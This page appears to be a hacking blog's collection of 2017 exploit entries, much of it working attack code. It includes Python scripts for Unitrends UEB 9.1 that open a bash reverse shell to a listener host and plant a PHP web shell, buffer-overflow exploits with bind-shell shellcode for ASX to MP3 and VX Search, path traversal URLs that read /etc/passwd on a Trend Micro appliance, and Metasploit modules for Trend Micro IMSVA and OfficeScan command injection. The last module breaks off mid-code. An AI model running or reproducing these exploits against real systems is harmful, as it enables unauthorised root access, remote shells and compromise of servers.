Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863151857

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Unauthenticated root RCE for Unitrends UEB 9.1
# Date: 08/08/2017
# Exploit Authors: Cale Smith, Benny Husted, Jared Arave
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.unitrends.com/
# Software Link: https://www.unitrends.com/download/enterprise-backup-software
# Version: 9.1
# Tested on: CentOS6
# CVE: CVE-2017-12478

import httplib
import urllib
import ssl
import random
import sys
import base64
import string
from optparse import OptionParser

# Print some helpful words:
print """
###############################################################################
Unauthenticated root RCE for Unitrends UEB 9.1
Tested against appliance versions:
  [+] 9.1.0-2.201611302120.CentOS6

This exploit leverages a sqli vulnerability for authentication bypass,
together with command injection for subsequent root RCE. 

To use the exploit as written, make sure you're running a reverse
shell listener somewhere, using a command like:

$ nc -nlvp 1234

Then, just specify the ip and port of the remote listener in the 
exploit command. Alternatively, modify this exploit to contain a 
command of your choosing by modifying the 'cmd' variable below.
###############################################################################
"""

# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
            ssl._create_default_https_context = ssl._create_unverified_context

# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -l <listener_ip> -p <listener_port>\n"\
	    "       %prog -c 'touch /tmp/foooooooooooo'"

parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
				  help="Target host w/ UNITRENDS UEB installation")
parser.add_option("-l", '--LHOST', dest='lhost', action="store",
				  help="Host listening for reverse shell connection")
parser.add_option("-p", '--LPORT', dest='lport', action="store",
				  help="Port on which nc is listening")
parser.add_option("-c", '--cmd', dest='cmd', action="store",
				  help="Run a custom command, no reverse shell for you.")

(options, args) = parser.parse_args()

if options.cmd:
	if (options.lhost or options.lport):
		parser.error("[!] Options --cmd and [--LHOST||--LPORT] are mututally exclusive.\n")

	elif not options.rhost:
		parser.error("[!] No remote host specified.\n")

elif options.rhost is None or options.lhost is None or options.lport is None:
	parser.print_help()
	sys.exit(1)

RHOST = options.rhost
LHOST = options.lhost
LPORT = options.lport
if options.cmd:
	cmd = options.cmd
else:
	cmd = 'bash -i >& /dev/tcp/{0}/{1} 0>&1 &'.format(LHOST, LPORT)

url = '/api/storage/'

# Here, a SQLi string overrides the uuid, providing auth bypass.
# We'll need to base64 encode before sending... 
auth = base64.b64encode("v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0")

params = urllib.urlencode({'auth' : auth})

params = """{{"type":4,"name":"aaaaaaaa","usage":"archive","properties":{{"username":"km","password":"km","port":"445","hostname":"asdf.com","protocol":"cifs","share_name":"`{0}`"}}}}""".format(cmd)

headers = {'Host' : RHOST,
		   'Content-Type' : 'application/json',
		   'X-Requested-With' : 'XMLHttpRequest',
		   'AuthToken' : auth }

# Establish an HTTPS connection and send the payload.
conn = httplib.HTTPSConnection(RHOST, 443)
conn.set_debuglevel(1)

print """
[+] Sending payload to remote host [https://{0}]
[+] Here's some debug info:
""".format(RHOST)

conn.request("POST", url, params, headers=headers)
r1 = conn.getresponse()

print ""
print "[+] Request sent. Maybe your command was executed?"
print ""

# Print response, for debug purposes.
print r1.status, r1.reason
print r1.read()

# 3. Solution:
# Update to Unitrends UEB 10

            
# Exploit Title: Authenticated lowpriv RCE for Unitrends UEB 9.1
# Date: 08/08/2017
# Exploit Authors: Benny Husted, Jared Arave, Cale Smith
# Contact: https://twitter.com/iotennui || https://twitter.com/BennyHusted || https://twitter.com/0xC413
# Vendor Homepage: https://www.unitrends.com/
# Software Link: https://www.unitrends.com/download/enterprise-backup-software
# Version: 9.1
# Tested on: CentOS6
# CVE: CVE-2017-12479

import httplib
import urllib
import ssl
import sys
import base64
import random
import time
import string
import json
from optparse import OptionParser

# Print some helpful words:
print """
###############################################################################
Authenticated lowpriv RCE for Unitrends UEB 9.1
Tested against appliance versions:
  [+] 9.1.0-2.201611302120.CentOS6

This exploit utilizes some issues in UEB9 session handling to place a 
php exec one liner in the webroot of the appliance.

Session tokens looks like this:

djA6NmM0ZWMzYTEtZmYwYi00MTIxLTk3YzYtMjQzODljM2EyNjY1OjE6L3Vzci9icC9sb2dzLmRpci9ndWlfcm9vdC5sb2c6MA==

and decodes to this:
                                                            LOG_LVL ----,
   v --- UUID ----------------------- v   v -- LOG_DIR -----------v     v
v0:6c4ec3a1-ff0b-4121-97c6-24389c3a2665:1:/usr/bp/logs.dir/gui_root.log:0 

The general steps that are followed by this poc are:

1. Authenticate as a low priv user and receive an auth token.
2. Modify the LOG_DIR field to point to a directory in the web root
   with apache user write access, and make a request to an arbitrary resource.
   This should touch a new file at the desired location.
3. Replace the UUID token in this auth token with a php shell_exec on liner, 
   and modify the LOG_LVL parameter to a value of 5, which will ensure
   that the UUID is reflected into the log file.
4. Issue a final request, to generate a shell.php file with a single shell_exec.
   This step is not strictly necessary.
###############################################################################
"""

# Disable SSL Cert validation
if hasattr(ssl, '_create_unverified_context'):
            ssl._create_default_https_context = ssl._create_unverified_context

# Parse command line args:
usage = "Usage: %prog -r <appliance_ip> -u <username> -p <password>\n"\

parser = OptionParser(usage=usage)
parser.add_option("-r", '--RHOST', dest='rhost', action="store",
          help="Target host w/ UNITRENDS UEB installation")
parser.add_option("-u", '--username', dest='username', action="store",
          help="User with any amount of privilege on unitrends device")
parser.add_option("-p", '--password', dest='password', action="store",
          help="password for this user")

(options, args) = parser.parse_args()

if not options.rhost:
  parser.error("[!] No remote host specified.\n")

elif options.rhost is None or options.username is None or options.password is None:
  parser.print_help()
  sys.exit(1)

RHOST = options.rhost
username = options.username
password = options.password

################################################################
# REQUEST ONE: GET A UUID.
################################################################

url1 = '/api/login'

a = {"username" : username,
     "password" : password}

post_body = json.dumps(a)

headers1 = {'Host' : RHOST}

print "[+] Attempting to log in to {0}, {1}:{2}".format(RHOST, username, password)

conn = httplib.HTTPSConnection(RHOST, 443)
conn.set_debuglevel(0)
conn.request("POST", url1, post_body, headers=headers1)
r1 = conn.getresponse()

################################################################
# BUILD THE AUTH TOKENS THAT WE'LL USE IN AN ATTACK.
################################################################

parsed_json = json.loads(r1.read())

if 'auth_token' not in parsed_json:
  print "[!] Didn't receive an auth token. Bad creds?"
  exit()

auth_encoded = parsed_json['auth_token']
auth_decoded = base64.b64decode(auth_encoded)

uuid = auth_decoded.split(':')[1]
ssid = auth_decoded.split(':')[2]

# We'll place our command shell in /var/www/html/tempPDF, since apache
# has rw in this dir.

log_dir = "/var/www/html/tempPDF/"
log_file = ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + '.php'
log_lvl = "5"
shell = "<?php echo shell_exec($_GET['cmd']);?> >"

auth_mod1 = "v0:{0}:{1}:{2}{3}:{4}".format(uuid, ssid, log_dir, log_file, log_lvl)
auth_mod2 = "v0:{0}:{1}:{2}{3}:{4}".format(shell, ssid, log_dir, log_file, log_lvl)

auth_mod1 = base64.b64encode(auth_mod1)
auth_mod2 = base64.b64encode(auth_mod2)

url2 = '/api/summary/current/'

################################################################
# REQUEST 2: PUT A FILE
################################################################

print "[+] Making a request to place log to http://{0}/tempPDF/{1}".format(RHOST, log_file)

headers2 = {'Host' : RHOST,
      'AuthToken' : auth_mod1}

# touch the file
conn.request("GET", url2, headers=headers2)
r2 = conn.getresponse()

print "[+] Making request to reflect shell_exec php to {0}.".format(log_file)

headers3 = {'Host' : RHOST,
      'AuthToken' : auth_mod2}

# make the first command
time.sleep(.5)
conn.request("GET", url2, headers=headers3)
conn.close()

# optional cleanup time

print "[+] Making a request to generate clean shell_exec at http://{0}/tempPDF/shell.php".format(RHOST)

url4 = '/tempPDF/' + log_file
url4 += '?cmd=echo+-e+"<?php%20echo%20shell_exec(\$_GET[%27cmd%27]);?>"+>+shell.php'

conn1 = httplib.HTTPSConnection(RHOST, 443)
conn1.request("GET", url4, headers=headers2)
r3 = conn1.getresponse()
conn1.close()


url5 = "/tempPDF/shell.php"
print "[+] Checking for presence of http://{0}{1}".format(RHOST, url5)
headers3 = {'Host' : RHOST}

conn2 = httplib.HTTPSConnection(RHOST, 443)
conn2.request("GET", url5, headers=headers2)
r3 = conn2.getresponse()

if r3.status == 200:
  print "[+] Got a 200 back. We did it."
  print "[+] Example cmd: http://{0}{1}?cmd=id".format(RHOST, url5)
else:
  print "Got a {0} back. Maybe this didn't work.".format(r3.status)
  print "Try RCE here http://{0}/tempPDF/{1}?cmd=id".format(RHOST, log_file)

conn2.close()

# 3. Solution:
# Update to Unitrends UEB 10

            
Sources:
https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html
https://github.com/siberas/CVE-2016-3309_Reloaded

Exploits for the recently-patched win32kfull!bFill vulnerability. Executing the Palette or Bitmap exploit will give you SYSTEM privileges on the affected system. The exploits should work fine on Windows 10 x64 with Creators Update, build 15063.540 (latest version of Win10 before the release of Microsoft's September Updates).

The Visual Studio solution contains three exploits:

CVE-2016-3309_Reloaded_Bitmaps: Exploit using the Bitmaps technique
CVE-2016-3309_Reloaded_Palettes: Exploit using the Palettes technique
CVE-2016-3309_Reloaded_Deadlock: POC exploit showcasing the system deadlock which happens due to improved Handle validation

We also published a blog post (https://siberas.de/blog/2017/10/05/exploitation_case_study_wild_pool_overflow_CVE-2016-3309_reloaded.html) which goes into detail about the exploitation of this "wild" Pool-based overflow.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42960.zip

            
# Exploit Title: CSRF
# Date: Wed, Aug 30, 2017
# Software Link: https://www.metasploit.com/
# Exploit Author: Dhiraj Mishra 
# Contact: http://twitter.com/mishradhiraj_
# Website: http://datarift.blogspot.in/
# CVE: CVE-2017-15084 (R7-2017-22)
# Category:  Metasploit Pro, Express, Ultimate, and Community
 
 
1. Description
 
Metasploit Pro, Express, Ultimate, and Community can encounter an issue of cross site request forgery (also known as one-click attack and is abbreviated as CSRF or XSRF), which is a type of malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts. A CSRF attack attempts to exploit the trust that a specific website has in a user's browser.
 
2. Proof of concept
 
The MSF did not protect the logout form with csrf token, therefore i can logout any user by sending this url https://Metasploit-Server-IP:3790/logout
Here's an attack vector:

1) Set up a honeypot that detects MSF scans/attacks (somehow).
2) Once I get a probe, fire back a logout request.
3) Continue to logout the active user forever.

It's less damaging than a traditional "hack back" but is sure to irritate the local red team to no end. It's essentially a user DoS. This attack may have been useful as a denial of service against Metasploit instances, allowing an attacker to prevent normal Metasploit usage.

3. Rapid7 Security Bulletin

https://blog.rapid7.com/2017/10/06/vulnerabilities-affecting-four-rapid7-products-fixed/
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1317#c3

The exploit achieves R/W access to the host's physical memory.

This exploit has been tested on the iPhone 7, iOS 10.2 (14C92). To run the exploit against different devices or versions, the symbols must be adjusted.

The attached archive contains the following directories:
  -hostapd-2.6 - A modified version of hostapd utilised in the exploit. This version of hostapd is configured to
                 support 802.11k RRM, and in particular Neighbor Reports. Moreover, this version of hostapd is
                 instrumented to add various commands, allowing injection and reception of crafted action frames
                 used throughout the exploit.
  -OneRing     - The exploit itself.

To run the exploit, you must execute the following steps:
  -Connect (and enable) a SoftMAC Wi-Fi dongle to your machine (such as the TL-WN722N)
  -Compile the provided version of hostapd
  -Modify the "interface" setting under "hostapd-2.6/hostapd/hostapd.conf" to match your interface's name
  -Configure the following settings under "OneRing/rrm_exploit/conf.py":
    -HOSTAPD_DIR - The directory of the hostapd binary compiled above
    -TARGET_MAC  - The MAC address of the device being exploited
    -AP_MAC      - The MAC address of your wireless dongle
    -INTERFACE   - The name of the wireless dongle's interface
  -Configure the following settings under "OneRing/conf.py":
    -TARGET_MAC  - The MAC address of the device being exploited
    -TARGET_IP   - The IP address of the device being exploited
  -Assemble the backdoor shellcode by running "OneRing/rrm_exploit/assemble_backdoor.sh"
  -Assemble each of the code chunks under "OneRing/code_chunks" by running "compile.sh"
  -Run hostapd with the configuration file provided above, broadcasting a Wi-Fi network ("test80211k")
  -Connect the target device to the network
  -Run "OneRing/attack.py"

Following the steps above should result in DART's descriptor being mapped into IO-Space, allowing R/W access to the host's physical memory. You can utilise this R/W access by calling the "read_host_dword" and "write_host_dword" functions, respectively.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42996.zip

            
# Exploit Title: Trend Micro Data Loss Prevention Virtual Appliance 5.2 Web Path Traversal
# Date: 10/11/2017
# Exploit Author: Leonardo Duarte
# Contact: http://twitter.com/etakdc
# Vendor Homepage: http://la.trendmicro.com/la/productos/data-loss-prevention/
# Version: 5.2
# Tested on: Debian 9
# Category: webapps

1. Description
   
A path traversal vulnerability that can be exploited to read files outside of the web root using encoded dot and slash characters

2. Proof of Concept
 
https://ip:8443/dsc/%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AFetc%C0%AFpasswd

https://ip:8443/dsc/%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AFbin%C0%AFash

https://ip/dsc/%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AF%C0%AE%C0%AE%C0%AFhome%C0%AFdgate%C0%AFiptables

Then the file will be visible

            
# Exploit Title: Buffer Overflow via crafted malicious .m3u file


# Exploit Author: Parichay Rai

# Tested on: XP Service Pack 3

# CVE : CVE-2017-15221
 
Description
------------

A buffer overflow Attack possible due to improper input mechanism

Proof of Concept
----------------

#!/usr/bin/python

#This exploit generates a malicious playlist for the asx to mp3 converter 3.1.3.7.2010.
#This is an exploit that work well against a windows XP3 systems!
#Successful exploit gives you a bind shell on 4444

BadChar= "\x00\x0a\x0d\x20"

# Payload Generation Command: msfpayload windows/shell_bind_tcp EXITFUNC=none R | msfencode  -a x86 -b "\x00\x0a\x0d\x20" -f c

# Successful exploitation opens port 4444 on the victim Machine

shellcode=("\xd9\xee\xbf\xad\x07\x92\x3e\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x56\x31\x7e\x18\x03\x7e\x18\x83\xc6\xa9\xe5\x67\xc2" +
"\x59\x60\x87\x3b\x99\x13\x01\xde\xa8\x01\x75\xaa\x98\x95" +
"\xfd\xfe\x10\x5d\x53\xeb\xa3\x13\x7c\x1c\x04\x99\x5a\x13" +
"\x95\x2f\x63\xff\x55\x31\x1f\x02\x89\x91\x1e\xcd\xdc\xd0" +
"\x67\x30\x2e\x80\x30\x3e\x9c\x35\x34\x02\x1c\x37\x9a\x08" +
"\x1c\x4f\x9f\xcf\xe8\xe5\x9e\x1f\x40\x71\xe8\x87\xeb\xdd" +
"\xc9\xb6\x38\x3e\x35\xf0\x35\xf5\xcd\x03\x9f\xc7\x2e\x32" +
"\xdf\x84\x10\xfa\xd2\xd5\x55\x3d\x0c\xa0\xad\x3d\xb1\xb3" +
"\x75\x3f\x6d\x31\x68\xe7\xe6\xe1\x48\x19\x2b\x77\x1a\x15" +
"\x80\xf3\x44\x3a\x17\xd7\xfe\x46\x9c\xd6\xd0\xce\xe6\xfc" +
"\xf4\x8b\xbd\x9d\xad\x71\x10\xa1\xae\xde\xcd\x07\xa4\xcd" +
"\x1a\x31\xe7\x99\xef\x0c\x18\x5a\x67\x06\x6b\x68\x28\xbc" +
"\xe3\xc0\xa1\x1a\xf3\x27\x98\xdb\x6b\xd6\x22\x1c\xa5\x1d" +
"\x76\x4c\xdd\xb4\xf6\x07\x1d\x38\x23\x87\x4d\x96\x9b\x68" +
"\x3e\x56\x4b\x01\x54\x59\xb4\x31\x57\xb3\xc3\x75\x99\xe7" +
"\x80\x11\xd8\x17\x37\xbe\x55\xf1\x5d\x2e\x30\xa9\xc9\x8c" +
"\x67\x62\x6e\xee\x4d\xde\x27\x78\xd9\x08\xff\x87\xda\x1e" +
"\xac\x24\x72\xc9\x26\x27\x47\xe8\x39\x62\xef\x63\x02\xe5" +
"\x65\x1a\xc1\x97\x7a\x37\xb1\x34\xe8\xdc\x41\x32\x11\x4b" +
"\x16\x13\xe7\x82\xf2\x89\x5e\x3d\xe0\x53\x06\x06\xa0\x8f" +
"\xfb\x89\x29\x5d\x47\xae\x39\x9b\x48\xea\x6d\x73\x1f\xa4" +
"\xdb\x35\xc9\x06\xb5\xef\xa6\xc0\x51\x69\x85\xd2\x27\x76" +
"\xc0\xa4\xc7\xc7\xbd\xf0\xf8\xe8\x29\xf5\x81\x14\xca\xfa" +
"\x58\x9d\xa0\xc0\x80\xbf\xdc\x6c\xd1\xfd\x80\x8e\x0c\xc1" +
"\xbc\x0c\xa4\xba\x3a\x0c\xcd\xbf\x07\x8a\x3e\xb2\x18\x7f" +
"\x40\x61\x18\xaa")

buffer="http://"
buffer+="A"*17417
buffer+="\x53\x93\x42\x7e" #(overwrites EIP in windows XP service pack 3 with the address of user32.dll)
buffer+="\x90"*10 #NOPs
buffer+=shellcode
buffer+="\x90"*10 #NOPs
f=open("exploit.m3u","w")
f.write(buffer);
f.close()

----------------------
Affected Targets
---------------------

ASX to MP3 version 3.1.3.7 and May be less
 

Solution
---------------

Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.

 
Credits
----------

Offensive Security
Rebellious Ceaser
            
#!/usr/bin/env python
# Exploit Title	    : VX Search Enterprise v10.1.12 Remote Buffer Overflow
# Exploit Author    : Revnic Vasile
# Email             : revnic[at]gmail[dot]com
# Date              : 09-10-2017
# Vendor Homepage   : http://www.flexense.com/
# Software Link     : http://www.vxsearch.com/setups/vxsearchent_setup_v10.1.12.exe
# Version           : 10.1.12
# Tested on         : Windows 7 x86 Pro SP1
# Category	    : Windows Remote Exploit
# CVE 		    : CVE-2017-15220


import socket
import os
import sys
import struct


# msfvenom -p windows/shell_bind_tcp LPORT=4444 EXITFUN=none -e x86/alpha_mixed -f c
shellcode = ("\x89\xe5\xdb\xd3\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x39\x6c\x68\x68\x6f\x72\x55\x50\x77\x70\x53\x30\x43\x50\x4d"
"\x59\x79\x75\x66\x51\x69\x50\x45\x34\x6c\x4b\x32\x70\x70\x30"
"\x4c\x4b\x32\x72\x64\x4c\x6e\x6b\x56\x32\x66\x74\x6e\x6b\x72"
"\x52\x75\x78\x36\x6f\x4e\x57\x33\x7a\x57\x56\x54\x71\x4b\x4f"
"\x4e\x4c\x65\x6c\x65\x31\x73\x4c\x44\x42\x56\x4c\x75\x70\x5a"
"\x61\x38\x4f\x36\x6d\x63\x31\x4f\x37\x5a\x42\x58\x72\x63\x62"
"\x70\x57\x6e\x6b\x42\x72\x44\x50\x4c\x4b\x73\x7a\x45\x6c\x6e"
"\x6b\x72\x6c\x44\x51\x72\x58\x78\x63\x33\x78\x35\x51\x48\x51"
"\x42\x71\x6c\x4b\x43\x69\x37\x50\x77\x71\x5a\x73\x4c\x4b\x67"
"\x39\x77\x68\x5a\x43\x66\x5a\x53\x79\x4e\x6b\x74\x74\x4c\x4b"
"\x43\x31\x39\x46\x70\x31\x6b\x4f\x6e\x4c\x39\x51\x78\x4f\x46"
"\x6d\x53\x31\x38\x47\x55\x68\x39\x70\x72\x55\x7a\x56\x33\x33"
"\x33\x4d\x4b\x48\x35\x6b\x61\x6d\x74\x64\x50\x75\x4a\x44\x31"
"\x48\x4c\x4b\x46\x38\x56\x44\x73\x31\x69\x43\x50\x66\x4c\x4b"
"\x46\x6c\x72\x6b\x4c\x4b\x73\x68\x67\x6c\x43\x31\x4b\x63\x4c"
"\x4b\x46\x64\x4e\x6b\x76\x61\x48\x50\x4c\x49\x71\x54\x34\x64"
"\x35\x74\x63\x6b\x71\x4b\x71\x71\x36\x39\x31\x4a\x46\x31\x39"
"\x6f\x6d\x30\x43\x6f\x73\x6f\x32\x7a\x6e\x6b\x74\x52\x68\x6b"
"\x6c\x4d\x43\x6d\x62\x48\x44\x73\x44\x72\x77\x70\x65\x50\x33"
"\x58\x73\x47\x30\x73\x56\x52\x43\x6f\x31\x44\x61\x78\x62\x6c"
"\x53\x47\x74\x66\x35\x57\x59\x6f\x4a\x75\x6f\x48\x4e\x70\x45"
"\x51\x47\x70\x57\x70\x65\x79\x6f\x34\x71\x44\x62\x70\x43\x58"
"\x46\x49\x4f\x70\x30\x6b\x53\x30\x59\x6f\x6a\x75\x72\x4a\x33"
"\x38\x53\x69\x46\x30\x4b\x52\x69\x6d\x73\x70\x32\x70\x51\x50"
"\x32\x70\x31\x78\x4a\x4a\x36\x6f\x49\x4f\x4b\x50\x39\x6f\x49"
"\x45\x4e\x77\x31\x78\x75\x52\x75\x50\x57\x61\x53\x6c\x6b\x39"
"\x7a\x46\x63\x5a\x54\x50\x71\x46\x32\x77\x43\x58\x6b\x72\x49"
"\x4b\x76\x57\x53\x57\x39\x6f\x38\x55\x46\x37\x42\x48\x38\x37"
"\x48\x69\x57\x48\x49\x6f\x59\x6f\x58\x55\x73\x67\x75\x38\x44"
"\x34\x68\x6c\x57\x4b\x69\x71\x59\x6f\x7a\x75\x51\x47\x6e\x77"
"\x50\x68\x50\x75\x72\x4e\x52\x6d\x51\x71\x6b\x4f\x4a\x75\x31"
"\x78\x52\x43\x70\x6d\x52\x44\x67\x70\x4f\x79\x78\x63\x71\x47"
"\x43\x67\x33\x67\x75\x61\x68\x76\x62\x4a\x55\x42\x70\x59\x56"
"\x36\x7a\x42\x59\x6d\x53\x56\x38\x47\x32\x64\x61\x34\x45\x6c"
"\x76\x61\x35\x51\x6c\x4d\x57\x34\x34\x64\x74\x50\x6b\x76\x43"
"\x30\x50\x44\x30\x54\x52\x70\x50\x56\x53\x66\x53\x66\x42\x66"
"\x46\x36\x70\x4e\x30\x56\x53\x66\x72\x73\x30\x56\x31\x78\x33"
"\x49\x38\x4c\x65\x6f\x4d\x56\x4b\x4f\x59\x45\x4b\x39\x79\x70"
"\x32\x6e\x73\x66\x33\x76\x6b\x4f\x30\x30\x31\x78\x65\x58\x6f"
"\x77\x67\x6d\x31\x70\x79\x6f\x38\x55\x6d\x6b\x6a\x50\x4e\x55"
"\x69\x32\x30\x56\x33\x58\x4c\x66\x4e\x75\x4d\x6d\x4d\x4d\x59"
"\x6f\x38\x55\x37\x4c\x57\x76\x33\x4c\x54\x4a\x6d\x50\x6b\x4b"
"\x4b\x50\x32\x55\x53\x35\x4d\x6b\x63\x77\x57\x63\x73\x42\x32"
"\x4f\x52\x4a\x37\x70\x51\x43\x4b\x4f\x58\x55\x41\x41")


buf_totlen = 5000
dist_seh = 2492
nseh = "\xeb\x06AA"
seh = 0x1011369e
nops = "\x90" * 10

egghunter = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x77\x30\x30\x74"
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

egg = "w00tw00t"

payload = ""
payload += "A"*(dist_seh - len(payload))
payload += nseh
payload += struct.pack("<I", seh)
payload += nops
payload += egghunter
payload += egg
payload += shellcode
payload += "D"*(buf_totlen - len(payload)) 

buf =  "POST /../%s HTTP/1.1\r\n" %payload
buf += "Host: 10.10.10.10\r\n"
buf += "User-Agent: Mozilla/5.0\r\n"
buf += "Connection: close\r\n"
buf += "\r\n"

print "Sending the payload!"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("10.10.10.10", 80))
expl.send(buf)
expl.close()  

            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution",
      'Description'    => %q{
        This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a
        terminal command under the context of the web server user.

        The specific flaw exists within the management interface, which listens on TCP port 443 by default. Trend Micro IMSVA product
        have widget feature which is implemented with PHP. Insecurely configured web server exposes diagnostic.log file, which
        leads to an extraction of JSESSIONID value from administrator session. Proxy.php files under the mod TMCSS folder takes multiple parameter but the process
        does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,
        unauthenticated users can execute a terminal command under the context of the web server user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <mr_me@offensive-security.com>', # author of command injection
          'Mehmet Ince <mehmet@mehmetince.net>' # author of authentication bypass & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'],
          ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'],
        ],
      'DefaultOptions'  =>
        {
          'SSL' => true,
          'RPORT' => 8445
        },
      'Payload'        =>
        {
          'Compat'      =>
            {
              'ConnectionType' => '-bind'
            },
        },
      'Platform'       => ['python'],
      'Arch'           => ARCH_PYTHON,
      'Targets'        => [[ 'Automatic', {}]],
      'Privileged'     => false,
      'DisclosureDate' => "Oct 7 2017",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the Trend Micro IMSVA management interface', '/'])
      ]
    )
  end

  def extract_jsessionid
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'widget', 'repository', 'log', 'diagnostic.log')
    })
    if res && res.code == 200 && res.body.include?('JSEEEIONID')
      res.body.scan(/JSEEEIONID:([A-F0-9]{32})/).flatten.last
    else
      nil
    end
  end

  def widget_auth(jsessionid)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'widget', 'index.php'),
      'cookie' => "CurrentLocale=en-U=en_US; JSESSIONID=#{jsessionid}"
    })
    if res && res.code == 200 && res.body.include?('USER_GENERATED_WIDGET_DIR')
      res.get_cookies
    else
      nil
    end
  end

  def check
    # If we've managed to bypass authentication, that means target is most likely vulnerable.
    jsessionid = extract_jsessionid
    if jsessionid.nil?
      return Exploit::CheckCode::Safe
    end
    auth = widget_auth(jsessionid)
    if auth.nil?
      Exploit::CheckCode::Safe
    else
      Exploit::CheckCode::Appears
    end
  end

  def exploit
    print_status('Extracting JSESSIONID from publicly accessible log file')
    jsessionid = extract_jsessionid
    if jsessionid.nil?
      fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
    else
      print_good("Awesome. JSESSIONID value = #{jsessionid}")
    end

    print_status('Initiating session with widget framework')
    cookies = widget_auth(jsessionid)
    if cookies.nil?
      fail_with(Failure::NoAccess, "Latest JSESSIONID is expired. Wait for sysadmin to login IMSVA")
    else
      print_good('Session with widget framework successfully initiated.')
    end

    print_status('Trigerring command injection vulnerability')
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'widget', 'proxy_controller.php'),
      'cookie' => "CurrentLocale=en-US; LogonUser=root; JSESSIONID=#{jsessionid}; #{cookies}",
      'vars_post' => {
        'module' => 'modTMCSS',
        'serverid' => '1',
        'TOP' => "$(python -c \"#{payload.encoded}\")"
      }
    })
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Trend Micro OfficeScan Remote Code Execution",
      'Description'    => %q{
        This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a
        terminal command under the context of the web server user.

        The specific flaw exists within the management interface, which listens on TCP port 443 by default. The Trend Micro Officescan product
        has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which
        leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process
        does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities,
        unauthenticated users can execute a terminal command under the context of the web server user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <mr_me@offensive-security.com>', # author of command injection
          'Mehmet Ince <mehmet@mehmetince.net>' # author of authentication bypass & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'],
          ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'],
        ],
      'DefaultOptions'  =>
        {
          'SSL' => true,
          'RPORT' => 443
        },
      'Platform'       => ['win'],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'Targets'        =>
        [
          ['Automatic Targeting', { 'auto' => true }],
          ['OfficeScan 11', {}],
          ['OfficeScan XG', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Oct 7 2017",
      'DefaultTarget'  => 0
